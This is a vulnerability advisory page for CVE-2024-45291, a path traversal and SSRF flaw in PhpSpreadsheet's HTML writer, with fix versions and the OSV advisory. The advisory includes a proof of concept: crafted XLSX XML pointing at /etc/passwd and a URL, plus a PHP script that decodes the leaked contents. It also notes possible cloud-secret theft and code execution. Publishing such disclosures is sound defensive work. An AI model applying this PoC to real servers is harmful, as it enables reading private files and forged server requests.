CVE-2024-45291: Phpoffice/phpspreadsheet Path Traversal Vulnerability
MODERATECVE-2024-45291 is a MODERATE (CVSS 6.3) path traversal vulnerability (CWE-36: Absolute Path Traversal) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet allows absolute path traversal and server-side request forgery in html writer when embedding images is enabled. Remediation is available by upgrading affected packages to version 2.3.0, 1.29.2, 2.1.1.
CVE-2024-45291 at a Glance
Security Impact
CVSS: 6.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2024-45291
To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phpoffice/phpspreadsheet to 2.3.0
Upgrade phpoffice/phpspreadsheet to 1.29.2
Upgrade phpoffice/phpspreadsheet to 2.1.1
Upgrade phpoffice/phpexcel to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phpoffice/phpspreadsheet
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-45291, inspect your project dependencies for Phpoffice/phpspreadsheet:
inspect dependencies for phpoffice/phpspreadsheet
Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-36: Absolute Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-45291 Affected Phpoffice/phpspreadsheet Versions
4 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.2.0
< 2.3.0
|
2.3.0
|
|
phpoffice/phpspreadsheet
|
Packagist |
< 1.29.2
|
1.29.2
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.0.0
< 2.1.1
|
2.1.1
|
|
phpoffice/phpexcel
|
Packagist |
≤ 1.8.2
|
|
References
Frequently Asked Questions
What is CVE-2024-45291?
Which Phpoffice/phpspreadsheet versions are affected?
What version fixes CVE-2024-45291?
Is phpoffice/phpspreadsheet affected?
Is phpoffice/phpexcel affected?
What is the CVSS score of CVE-2024-45291?
What CWE is associated with CVE-2024-45291?
How can I check Packagist dependencies for CVE-2024-45291?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w9xv-qf98-ccq4",
"modified" : "2025-03-06T18:13:21Z",
"published" : "2024-10-07T15:58:06Z",
"aliases" : [ "CVE-2024-45291" ],
"summary" : "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled",
"details" : "### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n<a:blip cstate=\"print\" r:link=\"rId1\" />\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n<Relationship Id=\"rId1\"\n Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n Target=\"/etc/passwd\" />\n```\nor\n```xml\n<Relationship Id=\"rId1\"\n Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n Target=\"http://example.org\" />\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n $picture = @file_get_contents($filename);\n if ($picture !== false) {\n $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n // base64 encode the binary data\n $base64 = base64_encode($picture);\n $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n }\n}\n\n$html .= '<img style=\"position: absolute; z-index: 1; left: '\n . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\n<?php\n\nrequire 'vendor/autoload.php';\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?<data>[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.3.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.29.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.1.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpexcel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.8.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-45291"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-36", "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-07T15:58:06Z",
"nvd_published_at" : "2024-10-07T21:15:17Z"
}
}